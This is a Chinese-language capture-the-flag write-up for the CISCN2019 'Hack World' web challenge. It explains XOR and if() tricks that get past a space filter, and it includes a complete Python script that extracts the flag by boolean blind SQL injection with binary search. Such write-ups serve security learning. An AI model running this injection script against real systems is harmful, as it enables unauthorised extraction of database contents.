[CISCN2019 华北赛区 Day2 Web1]Hack World
-
这道题的考点貌似是
sql盲注
还是第一次遇到这种类型,表示太难了。。 -
主界面
-
它的意思是让我们给出文章的id,那我们就输入一试试。
-
有回显,出题人想要一个girlfriend。对此,我只想说,想peach。然后我们再输入2试试。
-
对这个回显,我怀疑出题人妄想症犯了。之后我们再输入3试试。
-
发生了错误,我们再输入万能密码试试。
-
好吧,它检测到sql注入了,以我目前的知识,我已经手足无措了,在网上查阅资料后,发现可以有两个新姿势。
if(1=1,1,2)
和0^1
。if很简单,就是类似三目运算符1==1?1:2
,而这个01是什么意思呢?其实这个符号在mysql里是亦或的作用,所以01最后的结果是1。我们可以都试一试。 -
在最后的payload里用这两种方法都是可以的。那具体的payload要怎么写呢?我们发现正常的回显只有两种情况,我们是不可能让回显直接出flag的,所以这种情况应该属于
盲注
。直接上脚本吧。import requests import time import re url='http://04d17768-be6a-45cd-9587-3b8faf1a8506.node3.buuoj.cn/index.php' flag = '' for i in range(1,43): max = 127 min = 0 for c in range(0,127): s = (int)((max+min)/2) payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')' r = requests.post(url,data = {'id':payload}) time.sleep(0.005) if 'Hello, glzjin wants a girlfriend.' in str(r.content): min=s else: max=s if((max-min)<=1): flag+=chr(max) print(flag) break
-
我们可以看到for i in range(1,43) 为什么是43呢?因为动态flag的长度是42位,又因为python里的range右界是小括号,所以42要再+1。看到这,是不是明白点什么呢?我们要把flag一位一位猜出来!用的方法就是这个。
-
我们把flag的每一位用substr取出来,然后用ascii和某个字符比较(用的是二分查找)最后max 和 min差1的时候就说明max为正确的字符(具体也不太清楚为什么不是max和min相等的时候)。然后要注意题目貌似过滤了空格,所以要善用括号来分割。然后每次请求不能太快,不然平台反应不过来,所以每次需要sleep一段时间。
-
最后运行python文件,flag一位一位被爆破出来的感觉简直爽翻了!
参考链接